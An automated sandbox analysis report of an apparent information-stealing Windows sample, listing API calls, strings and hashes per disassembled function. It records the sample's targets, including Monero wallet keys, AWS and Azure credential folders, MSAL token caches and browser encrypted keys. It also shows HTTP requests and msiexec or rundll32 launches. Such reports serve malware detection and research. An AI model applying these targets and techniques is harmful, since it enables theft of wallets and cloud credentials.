Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 00338B60: GetSystemTime.KERNEL32(00340E1A,0109A450,003405AE,?,?,003213F9,?,0000001A,00340E1A,00000000,?,01099048,?,\Monero\wallet.keys,00340E17), ref: 00338B86

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0032CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0032D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0032D0CE
lstrcat.KERNEL32(?,00000000), ref: 0032D208
lstrcat.KERNEL32(?,00341478), ref: 0032D217
lstrcat.KERNEL32(?,00000000), ref: 0032D22A
lstrcat.KERNEL32(?,0034147C), ref: 0032D239
lstrcat.KERNEL32(?,00000000), ref: 0032D24C
lstrcat.KERNEL32(?,00341480), ref: 0032D25B
lstrcat.KERNEL32(?,00000000), ref: 0032D26E
lstrcat.KERNEL32(?,00341484), ref: 0032D27D
lstrcat.KERNEL32(?,00000000), ref: 0032D290
lstrcat.KERNEL32(?,00341488), ref: 0032D29F
lstrcat.KERNEL32(?,00000000), ref: 0032D2B2
lstrcat.KERNEL32(?,0034148C), ref: 0032D2C1
lstrcat.KERNEL32(?,00000000), ref: 0032D2D4
lstrcat.KERNEL32(?,00341490), ref: 0032D2E3

Part of subcall function 0033A820: lstrlen.KERNEL32(00324F05,?,?,00324F05,00340DDE), ref: 0033A82B
Part of subcall function 0033A820: lstrcpy.KERNEL32(00340DDE,00000000), ref: 0033A885

lstrlen.KERNEL32(?), ref: 0032D32A
lstrlen.KERNEL32(?), ref: 0032D339

Part of subcall function 0033AA70: StrCmpCA.SHLWAPI(01099228,0032A7A7,?,0032A7A7,01099228), ref: 0033AA8F

DeleteFileA.KERNEL32(00000000), ref: 0032D3B4

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: d31e61781da046cc1f86e62b3ce7f11532cffab766fa67a15f2b071950bdb555
Instruction ID: 9dd33eb798000444158c886ce14af9397db82bceb021a1fdbe5eba515f27a5e0
Opcode Fuzzy Hash: d31e61781da046cc1f86e62b3ce7f11532cffab766fa67a15f2b071950bdb555
Instruction Fuzzy Hash: C1E14B72910508ABCB06EBA4DDD6EEE7778BF24300F104158F146BB191DF75AA09EF62

Function 0032C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,01099048,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0109D308,00000000,?,0034144C,00000000,?,?), ref: 0032CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0032CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0032CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0032CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0032CAD9
StrStrA.SHLWAPI(?,0109D380,00340B52), ref: 0032CAF7
StrStrA.SHLWAPI(00000000,0109D170), ref: 0032CB1E
StrStrA.SHLWAPI(?,0109DAE0,00000000,?,00341458,00000000,?,00000000,00000000,?,010991A8,00000000,?,00341454,00000000,?), ref: 0032CCA2
StrStrA.SHLWAPI(00000000,0109DB40), ref: 0032CCB9

Part of subcall function 0032C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0032C871
Part of subcall function 0032C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0032C87C

StrStrA.SHLWAPI(?,0109DB40,00000000,?,0034145C,00000000,?,00000000,01099218), ref: 0032CD5A
StrStrA.SHLWAPI(00000000,010990B8), ref: 0032CD71

Part of subcall function 0032C820: lstrcat.KERNEL32(?,00340B46), ref: 0032C943
Part of subcall function 0032C820: lstrcat.KERNEL32(?,00340B47), ref: 0032C957
Part of subcall function 0032C820: lstrcat.KERNEL32(?,00340B4E), ref: 0032C978

lstrlen.KERNEL32(00000000), ref: 0032CE44
CloseHandle.KERNEL32(00000000), ref: 0032CE9C

Strings

, xrefs: 0032C9C6

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: cbefe68724c0deb735fea555715eeda86e53889119ee05b42e90eef65ab1aeb1
Instruction ID: 040b29e615b0304735ad9f08957b4a649bbb418e199d05949225cf702690cc6e
Opcode Fuzzy Hash: cbefe68724c0deb735fea555715eeda86e53889119ee05b42e90eef65ab1aeb1
Instruction Fuzzy Hash: B9E11C71910508ABDB16EBA4DCD2FEEBB78AF14300F004159F146BB191EF746A4ADF62

Function 00338320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

RegOpenKeyExA.ADVAPI32(00000000,0109B308,00000000,00020019,00000000,003405B6), ref: 003383A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00338426
wsprintfA.USER32 ref: 00338459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0033847B
RegCloseKey.ADVAPI32(00000000), ref: 0033848C
RegCloseKey.ADVAPI32(00000000), ref: 00338499

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Strings

?, xrefs: 0033837A
%s\%s, xrefs: 0033844D
- , xrefs: 003385A3

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 4bbf54a077948764791089933173081452f0726b9c6d2b2870e8f41dab61d0a1
Instruction ID: 57dfdb43f9d0db14e0d8dc3b140772a6782a280cbd13bc788569458f7175f090
Opcode Fuzzy Hash: 4bbf54a077948764791089933173081452f0726b9c6d2b2870e8f41dab61d0a1
Instruction Fuzzy Hash: 5A811B71910218ABDB25DB54CC95FEAB7B8FF58700F008298F149AB140DF75AB89CF91

Function 00334D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00338DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00338E0B

lstrcat.KERNEL32(?,00000000), ref: 00334DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00334DCD

Part of subcall function 00334910: wsprintfA.USER32 ref: 0033492C
Part of subcall function 00334910: FindFirstFileA.KERNEL32(?,?), ref: 00334943

lstrcat.KERNEL32(?,00000000), ref: 00334E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00334E59

Part of subcall function 00334910: StrCmpCA.SHLWAPI(?,00340FDC), ref: 00334971
Part of subcall function 00334910: StrCmpCA.SHLWAPI(?,00340FE0), ref: 00334987
Part of subcall function 00334910: FindNextFileA.KERNEL32(000000FF,?), ref: 00334B7D
Part of subcall function 00334910: FindClose.KERNEL32(000000FF), ref: 00334B92

lstrcat.KERNEL32(?,00000000), ref: 00334EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00334EE5

Part of subcall function 00334910: wsprintfA.USER32 ref: 003349B0
Part of subcall function 00334910: StrCmpCA.SHLWAPI(?,003408D2), ref: 003349C5
Part of subcall function 00334910: wsprintfA.USER32 ref: 003349E2
Part of subcall function 00334910: PathMatchSpecA.SHLWAPI(?,?), ref: 00334A1E
Part of subcall function 00334910: lstrcat.KERNEL32(?,0109E908), ref: 00334A4A
Part of subcall function 00334910: lstrcat.KERNEL32(?,00340FF8), ref: 00334A5C
Part of subcall function 00334910: lstrcat.KERNEL32(?,?), ref: 00334A70
Part of subcall function 00334910: lstrcat.KERNEL32(?,00340FFC), ref: 00334A82
Part of subcall function 00334910: lstrcat.KERNEL32(?,?), ref: 00334A96
Part of subcall function 00334910: CopyFileA.KERNEL32(?,?,00000001), ref: 00334AAC
Part of subcall function 00334910: DeleteFileA.KERNEL32(?), ref: 00334B31

Strings

\.aws\, xrefs: 00334E4D
Azure\.azure, xrefs: 00334DD3
\.IdentityService\, xrefs: 00334ED9
Azure\.aws, xrefs: 00334E5F
Azure\.IdentityService, xrefs: 00334EEB
*.*, xrefs: 00334E64
*.*, xrefs: 00334DD8
msal.cache, xrefs: 00334EF0
\.azure\, xrefs: 00334DC1

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: e660003d639b4287d4a9acf7e69c52e219eb555fe9f9474e1593f1314ec17c44
Instruction ID: 5e17a0225000a07867edf77c227365c698774033250889faf196add421449ae0
Opcode Fuzzy Hash: e660003d639b4287d4a9acf7e69c52e219eb555fe9f9474e1593f1314ec17c44
Instruction Fuzzy Hash: 2441947AA4031867D715F770EC87FED7778AB24700F004494B2856A0C1EEF5ABC99B92

Function 00339010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0033906C

Strings

image/jpeg, xrefs: 00339136

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: d0cf68953510535266359f55bcec6ea7ce239bad75882d2711dfb4a47a8e8bdf
Instruction ID: e45f8c846cf33d817dd678824dc188f2db0c434330dbe98531ab6813f1796ff0
Opcode Fuzzy Hash: d0cf68953510535266359f55bcec6ea7ce239bad75882d2711dfb4a47a8e8bdf
Instruction Fuzzy Hash: 1A71CAB5910208EBDB04EBE8DD89FEEB7B9BF58700F108508F515AB290DB74A905DF61

Function 00332E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

ShellExecuteEx.SHELL32(0000003C), ref: 003331C5
ShellExecuteEx.SHELL32(0000003C), ref: 0033335D
ShellExecuteEx.SHELL32(0000003C), ref: 003334EA

Strings

<, xrefs: 00333490
C:\Windows\system32\rundll32.exe, xrefs: 00333332
/passive, xrefs: 0033345B
C:\Windows\system32\msiexec.exe, xrefs: 003334BF
"" , xrefs: 0033309A
.msi, xrefs: 00333398
/i ", xrefs: 003333E4
.dll, xrefs: 003331E5

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 0e5889855d746222fa9cc9e6676c2c8eb82eebeadf824cd742e76736c2a65ea4
Instruction ID: 953e988e7a435edcbc873cc2f44d453ce298e16688c2c287ee20b57c00cff136
Opcode Fuzzy Hash: 0e5889855d746222fa9cc9e6676c2c8eb82eebeadf824cd742e76736c2a65ea4
Instruction Fuzzy Hash: 1912E071810608AADB1AEBA0DCD2FDEB778AF14300F504159F5467E191EF742B4ADF92

Function 003352C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Part of subcall function 00326280: InternetOpenA.WININET(00340DFE,00000001,00000000,00000000,00000000), ref: 003262E1
Part of subcall function 00326280: StrCmpCA.SHLWAPI(?,0109E7E8), ref: 00326303
Part of subcall function 00326280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00326335
Part of subcall function 00326280: HttpOpenRequestA.WININET(00000000,GET,?,0109E398,00000000,00000000,00400100,00000000), ref: 00326385
Part of subcall function 00326280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 003263BF
Part of subcall function 00326280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003263D1

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00335318
lstrlen.KERNEL32(00000000), ref: 0033532F

Part of subcall function 00338E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00338E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00335364
lstrlen.KERNEL32(00000000), ref: 00335383
lstrlen.KERNEL32(00000000), ref: 003353AE

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Strings

ERROR, xrefs: 0033530A
ERROR, xrefs: 003353B9
ERROR, xrefs: 003354A9
ERROR, xrefs: 00335432
ERROR, xrefs: 0033546F

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 10a753f4cc810fb91b7d2921333899576602ae52a4c91ab7d64423c703bb8f84
Instruction ID: d7ab7b19c05acdc17e34d848e53d212bbb0737c926894a7f9f6c17dad0c0e8cf
Opcode Fuzzy Hash: 10a753f4cc810fb91b7d2921333899576602ae52a4c91ab7d64423c703bb8f84
Instruction Fuzzy Hash: 47511030910648ABDB1AFF64DDD6AED7779AF10300F504018F4466F592DF386B46DBA2

Function 003312D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: ffc6fbbc9f6600ab99bbc130e786c7d71cd94bc70ae6f4b82800fd8cf4d8594d
Instruction ID: c56a4d859b21bf4b8d60702d7eb513e2ed96c64e26e8daed98d1ddc73889c26e
Opcode Fuzzy Hash: ffc6fbbc9f6600ab99bbc130e786c7d71cd94bc70ae6f4b82800fd8cf4d8594d
Instruction Fuzzy Hash: 5CC1B4B590020DABCB15EF60DCC9FEA7778BF64304F104598F50AAB241EB70AA85DF91

Function 00334280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00338DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00338E0B

lstrcat.KERNEL32(?,00000000), ref: 003342EC
lstrcat.KERNEL32(?,0109E080), ref: 0033430B
lstrcat.KERNEL32(?,?), ref: 0033431F
lstrcat.KERNEL32(?,0109D1E8), ref: 00334333

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 00338D90: GetFileAttributesA.KERNEL32(00000000,?,00321B54,?,?,0034564C,?,?,00340E1F), ref: 00338D9F

Part of subcall function 00329CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00329D39

Part of subcall function 003299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003299EC
Part of subcall function 003299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00329A11
Part of subcall function 003299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00329A31
Part of subcall function 003299C0: ReadFile.KERNEL32(000000FF,?,00000000,0032148F,00000000), ref: 00329A5A
Part of subcall function 003299C0: LocalFree.KERNEL32(0032148F), ref: 00329A90
Part of subcall function 003299C0: CloseHandle.KERNEL32(000000FF), ref: 00329A9A

Part of subcall function 003393C0: GlobalAlloc.KERNEL32(00000000,003343DD,003343DD), ref: 003393D3

StrStrA.SHLWAPI(?,0109E0F8), ref: 003343F3
GlobalFree.KERNEL32(?), ref: 00334512

Part of subcall function 00329AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N2,00000000,00000000), ref: 00329AEF
